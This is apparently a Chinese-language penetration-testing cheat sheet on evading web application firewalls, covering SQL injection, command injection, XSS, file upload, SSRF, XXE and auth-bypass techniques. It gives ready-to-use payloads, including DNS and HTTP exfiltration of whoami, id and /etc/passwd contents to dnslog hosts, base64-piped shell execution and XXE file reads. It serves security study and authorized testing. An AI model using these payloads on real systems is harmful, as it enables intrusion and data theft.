WAF 绕过
概述
Web 应用防火墙(WAF,Web Application Firewall)是一种专门用于拦截网站攻击的安全设备,通常部署在 Web 服务器前端,用于检测和阻止恶意请求。WAF 基于黑名单(语义分析)或规则集进行攻击行为拦截,但并非无懈可击。
注意:WAF 绕过并不等同于发现漏洞。成功绕过 WAF 仅意味着绕过了其检测机制,实际漏洞利用仍需进一步验证。在实际操作中,需遵守法律法规,仅在授权范围内进行安全测试。
SQL 注入绕过 WAF
SQL 注入是常见的 Web 攻击方式,WAF 通常通过正则表达式匹配 SQL 关键字(如 SELECT
、UNION
)或特定模式(如单引号 '
)来拦截恶意请求。以下是针对 SQL 注入的常见 WAF 绕过技术:
大小写绕过
原理:MySQL 数据库对 SQL 语句大小写不敏感(如 SELECT
、 select
和 SelECt
等均等效),但部分 WAF 的正则表达式可能未正确处理大小写。
示例:
?id=1' UNION SELECT 1,2,3 --+
?id=1' UnIoN SeLeCt 1,2,3 --+
局限性:
- 现代 WAF 通常使用正则表达式的
i (ignore)
修饰符(忽略大小写),如preg_match('/select/i', $input)
,因此单独使用大小写绕过的成功率较低。
双写绕过
原理:部分 WAF 通过字符串替换(如将 or
替换为空)来阻止恶意输入。如果输入重复字符(如 oorr
),替换后仍可能保留有效字符(如 or
)。
示例:
?id=1' oorr 1=1 --+
- WAF 规则:
$input = str_replace("or", "", $input);
- 输入
oorr
被替换后结果为or
,从而绕过检测。
局限性:
- 仅适用于 WAF 使用简单字符串替换的场景。
- 如果 WAF 使用正则表达式匹配,效果可能不佳。
等价替换 🌟
原理:SQL 语句中的某些字符或关键字可以用等价符号或函数替代,从而绕过 WAF 的黑名单规则。
空格替换
MySQL 支持多种字符替代空格,常见的有:
%20
:URL 编码的空格(ASCII 32)。%09
:水平制表符(Tab,ASCII 9)。%0a
:换行符(Line Feed,ASCII 10)。🌟%0b
:垂直制表符(Vertical Tab,ASCII 11)。🌟%0c
:换页符(Form Feed,ASCII 12)。%0d
:回车符(Carriage Return,ASCII 13)。%a0
:不换行空格(Non-breaking Space)。🌟+
:在 URL 中表示空格,与%20
的效果相同。/**/
:SQL 块注释,注释内的内容会被忽略。🌟
示例:
?id=1'/**/UNION/**/SELECT/**/1,2,3--+
?id=1'%0aUNION%0aSELECT%0a1,2,3--+
运算符替换
常见运算符的等价替代:
or
→||
and
→&&
=
→LIKE
、>
、<
🌟!=
→NOT LIKE
示例:
?id=1' || 1=1 --+
?id=1' %26%26 1 LIKE 1 --+
1' %26%26 1<1 --+
1' %26%26 1>1 --+
函数替换
部分数据库函数可互换使用:
schema_name
→database()
substr()
→substring()
、left()
、mid()
order by
→ 使用union select
或into
替代排序测试。
示例:
?id=1' UNION SELECT 1,substring(user(),1,1),3 --+
?id=-1' INTO @a,@b,@c --+
# INTO 是 SQL 中的一部分,它用来将查询结果存储到用户定义的变量中。
# 在 MySQL 中,@ 后面跟的变量表示一个会话级的用户变量。
# @1,@2,@3 是三个用户定义的会话变量,这些变量用于存储查询结果中的特定字段。
# 例如可以将查询结果的某些列(如用户名、密码等)存储到这些变量中。
逗号替换
WAF 可能拦截逗号 ,
,可用 OFFSET
或 FROM ... FOR ...
替代:
LIMIT 1,1
→LIMIT 1 OFFSET 1
MID(user(),1,1)
→MID(user() FROM 1 FOR 1)
示例:
MID(user() FROM 1 FOR 1)='r'
编码绕过
原理:通过对 SQL 语句中的关键字或值进行编码(如 HEX、Unicode、URL 编码等),绕过 WAF 的正则匹配。
HEX 编码
将字符串值转换为十六进制格式,仅适用于值(如表名、字段值)。
示例:
?id=-1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
0x7365637572697479
是security
的 HEX 编码。
Unicode 编码
将字符转换为 Unicode 格式(如 \u0027
表示单引号 '
)。
示例:
?id=1\u0027 UNION SELECT 1,2,3 --+
常见 Unicode 编码:
'
→\u0027
;
→\u003B
SELECT
→\u0053\u0045\u004C\u0045\u0054
- 普通空格 →
\u0020
- 不换行空格 →
\u00A0
- 制表符 →
\u0009
局限性:
- 并非所有 SQL 注入网站都支持 Unicode 编码。
- WAF 可能对 Unicode 进行解码检测。
URL 编码
将字符转换为 URL 编码格式(如 %27
表示 '
)。
示例:
?id=1%27 UNION%20SELECT%201,2,3 --+
注释符绕过 🌟
原理:SQL 支持多种注释语法,可用于分隔关键字或绕过 WAF 检测。
- 行注释:
--
、#
- 块注释:
/**/
可以替代空格 - 条件注释:
/*!50000UNION*/
(只会在 MySQL 5 及以上版本执行UNION
) - 条件注释:
/*!40101 UNION*/
(只会在 MySQL 4.1.1 及以上版本执行UNION
)
示例:
?id=1'/*!50000UNION*//*abc*/SELECT/**/1,2,3--+
load_file DNSlog 外带
利用 load_file
将查询结果发送到外部 DNS 服务器(仅 Windows 环境下 secure_file_priv=""
时可用)。
示例:
?id=1' AND load_file(concat('////',hex(database()),'.d9bba723.log.dnslog.sbs/r.txt')) --+
SQLMap Tamper 脚本 🌟
原理:sqlmap 提供 Tamper 脚本,用于自动修改 payload 以绕过 WAF。
常用 Tamper 脚本:
space2comment
:将空格替换为/**/
。symboliclogical
:替换逻辑运算符(如AND
→&&
)。equaltolike
:将=
替换为LIKE
。
调用方式:
python sqlmap.py -u "http:/url?key=value" --tamper space2comment -v 3
注意:
- 过多使用 Tamper 脚本可能导致 payload 复杂化,降低检测效率。
- 针对无 WAF 的目标,过度修改可能适得其反。
命令执行绕过 WAF
命令执行漏洞允许攻击者在服务器上执行系统命令,WAF 通常通过匹配敏感命令(如 cat
、whoami
)或特殊字符(如 |
、&
)进行拦截。以下是命令执行的绕过技术:
等价命令替换
原理:使用功能相似的命令替代被拦截的命令。
示例:
查看文件内容的命令:
cat
→more
、head
、tail
、tac
执行命令:
cat /etc/passwd tac /etc/passwd
命令拼接
原理:通过 Shell 变量或拼接将敏感字符分隔,绕过 WAF 检测。
示例:
a=c;b=at;c=/etc/passwd;$a$b $c
a=c;b=at;c=/etc/pass;d=w;e=d;$a$b $c$d$e
通配符替换
原理:使用通配符(如 *
)匹配文件名,绕过精确匹配。
示例:
cat /etc/pass*
tac /fl*
引号与反斜杠
原理:通过添加引号或反斜杠混淆 WAF 的正则匹配。
示例:
c""a''t /etc/p''ass""wd
c\at /et\c/pa\ssw\d
空字符与脚本参数
原理:使用不存在的变量(如 $xxx
)或脚本参数($@
、$*
,它们都表示脚本的所有参数,默认情况下都为空)插入空字符。
示例:
ca${wfqegrht}t /e${eghdrft}tc/pas${feqgwr}swd
c$@$*$*$*$*at /et$*c/pas$*s$*wd
空格替换
原理:使用 ${IFS}
(Linux 内部字段分隔符)或输入重定向符替代空格。
示例:
cat${IFS}/etc/passwd
cat</etc/passwd
{}
与系统变量
原理:{}
可以用于包裹命令,或使用系统变量。
示例:
{cat,/etc/passwd}
ABC=$'\x20/etc/passwd';cat$ABC
base64 编码 🌟
原理:将输入的命令通过 base64 编码从而绕过 WAF。
示例:
cat /etc/passwd ==base64==> Y2F0IC9ldGMvcGFzc3dk
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
反引号执行
原理:反引号包裹的内容也可以当作命令执行。
示例:
`echo Y2F0IC9ldGMvcGFzc3dk | base64 -d`
数据外带 🌟
DNS log 外带
原理:利用 ping
或 nslookup
等命令,借助 DNS log 获取信息。
示例:
ping -C 1 `whoami`.kc33v9.dnslog.cn
ping -c 1 `whoami|base64`.kc33v9.dnslog.cn
ping -c 1 `id|cut -c1-5|base64`.kc33v9.dnslog.cn
ping -c 1 `head -n 1 /etc/passwd|base64`.kc33v9.dnslog.cn
ping -c 1 `head -c 6 /etc/passwd|base64`.kc33v9.dnslog.cn
HTTP 外带
原理:利用 wget
或 curl
等命令,借助 HTTP 请求信息获取相关信息。
示例:
curl http://URL/`whoami`
wget http://URL/`id|base64`
XSS 绕过 WAF
XSS payload 推荐:
大小写绕过
原理:部分 WAF 的正则表达式可能未正确处理大小写。
示例:
<iMg sRc=aaa onErRor="alert(1)"/>
注意:大小写只能在 HTML 中使用,JavaScript 是大小写敏感的
引号替换
原理:如果 WAF 过滤了引号,可以用 /
代替。
示例:
<iMg sRc=aaa onerRor="alert(/aaa/)"/>
空格替换
原理:如果 WAF 过滤了空格,可以用 /
代替。
示例:
<iMg/sRc='aaa'/onerRor="alert(/aaa/)"/>
文件上传绕过 WAF
文件上传漏洞允许攻击者上传恶意文件(如 WebShell),WAF 通常通过检查文件扩展名、内容类型(MIME)或文件内容进行拦截。
前端过滤绕过
原理:前端 JavaScript 可能限制文件类型,攻击者可通过禁用 JS 或使用 Burp Suite 修改请求包绕过。
示例:
- 使用浏览器开发者工具禁用 JavaScript。
- 使用 Burp Suite 拦截上传请求,修改文件扩展名或内容。
MIME 类型绕过
原理:服务器可能仅检查 MIME 类型(如 image/png
),攻击者可伪造 MIME 类型。
示例:
- 上传文件时将
Content-Type
修改为image/jpeg
,但文件内容为 PHP 代码。
特殊后缀与解析漏洞
原理:某些服务器支持非标准扩展名(如 .php3
、.phtml
)或存在解析漏洞。
示例:
- 上传文件名为
shell.php3
或shell.phtml
。 - 利用 Apache 解析漏洞(如
.htaccess
配合文件包含)。
图片马与文件包含
原理:在图片文件中嵌入 PHP 代码,结合文件包含漏洞执行代码。
示例:
copy xxx.png/b + xxxx.php/a shell.jpg
- 上传
shell.jpg
,通过文件包含漏洞(如?page=shell.jpg
)执行代码。
注意:有的服务器对上传图片进行压缩、美化、加水印或处理,但是压缩前和压缩后,总会有没有变化的地方,可以在不会变化的区域嵌入 WebShell。
00 截断
原理:在 PHP 版本 < 5.3,且 magic_quotes_gpc=OFF
时,%00
可以截断后续内容。
示例:例如当抓包的时候将原本的路径 ../upload/
改为 ../upload/1.php%00
,而在 PHP 5.2 认为 %00
是截断符,后面的内容会被废弃,所以文件最终保存为了 ../upload/1.php
。
条件竞争
原理:在文件上传和删除之间快速执行请求,利用服务器处理延迟执行恶意文件。
示例:
- 上传恶意文件(如
shell.php
)。 - 同时发送请求访问文件,抢在 WAF 删除之前执行。
SSRF 绕过 WAF
服务器端请求伪造(SSRF)允许攻击者通过服务器发起请求访问内部资源,WAF 通常通过限制域名或 IP 地址(如 127.0.0.1
)进行拦截。
@
绕过
原理:使用 @
混淆 URL 解析。
示例:
http://www.baidu.com@127.0.0.1
- 解析为
http://127.0.0.1
。
Pv6 绕过
原理:使用 IPv6 地址(如 [::1]
)替代 IPv4 地址。
示例:
http://[::1]
http://[::ffff:127.0.0.1]
短链接与 302 跳转
原理:使用短链接服务生成跳转到内部地址的链接,或通过自建服务器返回 302 跳转。
示例:
短链接:
https://reurl.cc/XZYk70
跳转到https://www.baidu.com
。在攻击机编写:
<?php header("Location: file:///etc/passwd"); ?>
局限性:
- 许多 SSRF 漏洞不支持 302 跳转。
- 短链接平台可能不支持非域名的短链接,例如不支持
http://127.0.0.1
。
域名解析
原理:将域名解析到内部 IP(如 127.0.0.1
),绕过 WAF 的黑名单。
示例:
- 购买自定义域名并解析到内部 IP。
可以代替 127.0.0.1
的域名:
devd.io
、localtest.me
、wifi.aliyun.com
、ecd.tencent.com
XXE 绕过 WAF
XML 外部实体注入(XXE)允许攻击者通过 XML 解析读取服务器文件或发起请求,WAF 通常通过检测 XML 实体或敏感关键字拦截。
HTML 实体编码(双重实体编码)
原理:对 XML 实体进行 HTML 实体编码(如 &
→ &
),绕过 WAF 检测。
示例:
- 编码之前的 payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE note [
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<user>
<username>&a;</username>
<password>123</password>
</user>
- 对 payload 进行改造(去头、空格和回车):
<!ENTITY a SYSTEM "file:///etc/passwd">]><user><username>&a;</username><password>123</password></user>
- 对改造后的 payload 进行 HTML 实体编码。
- 将头等加回去,构造新的 payload。
注意:部分 XXE 漏洞不支持,部分 PHP 版本也不支持。
UTF-16 编码
原理:XML 文档不仅可以使用 UTF-8,也可以支持 UTF-16/UTF-32,将 XML 文档编码为 UTF-16,绕过仅检测 UTF-8 的 WAF。
示例:
- 将 XML 转换为 UTF-16 格式发送。
局限性:
- 服务器和 WAF 可能不支持 UTF-16。
disable_function 绕过
PHP 的 disable_functions
配置用于禁用危险函数,但存在多种绕过方法。
等价函数替代
原理:在 PHP 中,system
、exec
、shell_exec
、popen
、passthru
可以相互替代。
注意:可以从 phpinfo 信息泄漏中查看那些命令被禁。
LD_PRELOAD
原理:
- PHP 启动时,会根据配置文件(如 php.ini)加载一系列的动态链接库。在运行过程中,PHP 会检查并执行其中的函数(如文件操作、命令执行等),这些函数在调用时可能会被系统的动态库(如 C 库)提供。
- LD_PRELOAD 是 Linux 系统的一个环境变量,它允许用户在程序运行前优先加载指定的动态连接库(.so 文件),通过 LD_PRELOAD,攻击者可以覆盖 PHP 禁用的函数,或者替换系统调用,达到绕过 disable_functions 限制的目的。
示例:
- 利用蚁剑的 "绕过 disable_functions" 插件。
- 注入
.so
文件。 - 并访问注入的相关文件从而获取到 Shell。
截图示例:
权限绕过
Shiro 框架的权限绕过
路径后缀绕过:
/admin
=>/admin/
(添加斜杠)/admin
=>/;/admin
(添加分号)
Spring Security 的权限绕过
路径混淆技术:
/admin
=>/admin/
(添加斜杠)/admin
=>/admin?
(添加问号)/admin
=>/admin.
(添加点号)/admin
=>/admin/%0A
(URL 编码换行符)
通用绕过思路 🌟
以下是一些通用的 WAF 绕过思路,适用于多种场景:
%00 截断
原理:在 C 语言实现的 WAF 中,使用 string 等数据结构存储用户请求参数,那么在解码后,%00
(C 中 %00
代表 NULL 字符)可能导致字符串截断,导致后续内容不被检测。
示例:
?id=%001' ORDER BY 9 --+
参数污染
原理:发送多个同名参数,WAF 可能仅检测第一个参数,而服务器处理最后一个参数。
示例:
?id=abc&id=1' order by 9 --+
- WAF 检测了
id=abc
,没有继续判断同名参数id=1' ORDER BY 9 --+
,而服务器处理id=1' ORDER BY 9 --+
。
注意:在某些情况下,Web 应用可能会无法正确处理这种重复的参数。不同的应用程序可能会按以下方式处理:
- 最后一个参数覆盖前一个参数:应用程序可能仅使用请求中最后出现的参数值 。
- 多个参数合并:某些 Web 应用可能会将多个相同名称的参数合并成一个值,导致未预料到的行为。
不同的 Web 服务器在处理 HTTP 参数时的行为差异可能会影响 HTTP 参数污染攻击的效果,对于上面的例子,apache、iis、tomcat、nginx 默认情况下均保留
id=1'order by 9 --+
而忽略id=abc
。
参数污染的其他形式:在 asp / asp.net
环境中,参数值中的 %
会被当作空。
缓冲区溢出(脏数据)
原理:通过发送大量参数或超长数据,使得参数数量或参数值大小超过 WAF 的检测范围。
示例:
参数数量:
- 部分 WAF 有检测参数上限,如 NGINX 和 Lua 脚本中,通常会存在一些默认的限制,例如请求头的最大大小、参数的最大数量(100 个)。
- 即,使用 Lua 写的所有 WAF 都有 通用的绕过方案,即使得参数 > 100 个,第 101 个参数将不会经过 WAF。
参数值大小:
- 使参数值大小超过 WAF 的检测范围,从而实现绕过。
- 一般云 waf 都有单次检测上限。
- 因为 GET 请求有长度限制,所有这种绕过方法一般是 POST 请求。
uname=a'/*中间有好多好多的无效字符,例如有好多的字母 a */order by 9#
分块传输
原理:HTTP1.1 引入了分块传输的方式,使用 HTTP 分块传输编码(Transfer-Encoding: chunked
)发送请求,绕过 WAF 对完整请求的检测。
示例:
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
2;8okhWK0ApA4R6H9
q=
2;UkFAfjWe
%7
1;4Qxiwk8Sy394COtyyilNX9x
B
1;22uS1TLCK2PNIeJ
%
1;EgbCDd
2
1;vmEHar21uVqHWA8JgxNylf7m8
2
1;1gHGKe77U2YpL9GEFD0BKJH
7
1;yEDS5Hne
D
0
工具:BurpSuite 插件——chunked-coding-converter
WAF 白名单绕过
原理:利用 WAF 的白名单规则(如有些特定目录或文件扩展名是白名单)绕过检测。
示例:
假设 WAF 白名单为 .js
、.png
、.css
文件
http://127.0.0.1:81/Less-1/index.php/1.png?id=1' ORDER BY 9 --+
http://127.0.0.1:81/Less-1/index.php/1.js?id=1' ORDER BY 9 --+
HTTP 头绕过
原理:通过修改 HTTP 头(如 X-Forwarded-For)伪造客户端 IP 或请求来源,绕过 WAF 的 IP 黑名单。
常见头部:
- 🌟
X-Forwarded-For
:最常见的头部,用于标识客户端的真实 IP 地址,常用在代理或负载均衡场景中绕过 WAF 封禁。 Forwarded
:用于传递代理链信息,包含客户端IP和协议等信息,通常用于多层代理的环境。X-Forwarded-Proto
:用于标识请求的协议(如 HTTP 或 HTTPS),特别是有代理或负载均衡时。Forwarded-For
:一般是 X-Forwarded-For 的替代品,用于传递客户端的原始 IP 地址。Forwarded-For
:另一种格式的 X-Forwarded-For,包含客户端 IP 地址信息。X-Requested-With
:用于标识请求的来源(如 AJAX 请求),通常是客户端发送的 JavaScript 请求中的头部。X-Forwarded-Host
:用于传递请求的原始 Host 信息,标识客户端发送请求的目标主机名。- 🌟
X-Remote-IP
:用来标识客户端的真实 IP 地址。 X-remote-addr
:另一个类似 X-Remote-IP 的头部,用于传递客户端的真实 IP 地址。True-Client-IP
:某些 CDN 或代理(如 Cloudflare)使用的头部,标识真实的客户端 IP。X-Client-IP
:用于传递客户端的真实 IP 地址,适用于某些 WAF 或代理环境。- 🌟
Client-IP
:用于传递客户端的真实 IP 地址,常见于 Nginx 或某些代理服务器。 X-Real-IP
:由 Nginx 或类似代理使用,标识客户端的真实 IP 地址。Ali-CDN-Real-IP
:阿里云 CDN 使用的头部,用于标识真实的客户端 IP。CDN-Src-IP
:CDN 服务(如 Cloudflare)传递的客户端 IP 地址。Cdn-Real-Ip
:另一个用于标识客户端真实IP 地址的 CDN 请求头,常见于 Cloudflare和其他CDN.CF-Connecting-IP
:Cloudflare 专用的头部,用于标识客户端的真实 IP 地址。X-Cluster-Client-IP
:用于分布式系统的头部,标识客户端的真实 IP。WL-Proxy-Client-IP
:由 WebLogic 代理服务器使用的头部,标识客户端的真实 IP。Proxy-Client-IP
:一些代理服务器(如 WebLogic)使用的头部,传递客户端的真实 IP。Fastly-Client-Ip
:Fastly CDN 使用的头部,用于传递客户端的真实 IP。True-Client-ip
:重复的 True-Client-IP,某些场景下可能作为冗余使用。X-Originating-IP
:一些代理或负载均衡器使用的头部,标识原始客户端的 IP 地址。X-Host
:标识请求的原始主机名,某些场景下可用于绕过 WAF。X-Custom-IP-Authorizatio
n:一个自定义的头部,用于某些特定授权场景,可能与 IP 验证相关。
示例:
X-Forwarded-For: 127.0.0.1
工具:Burp Suite 插件 burpFakeIP。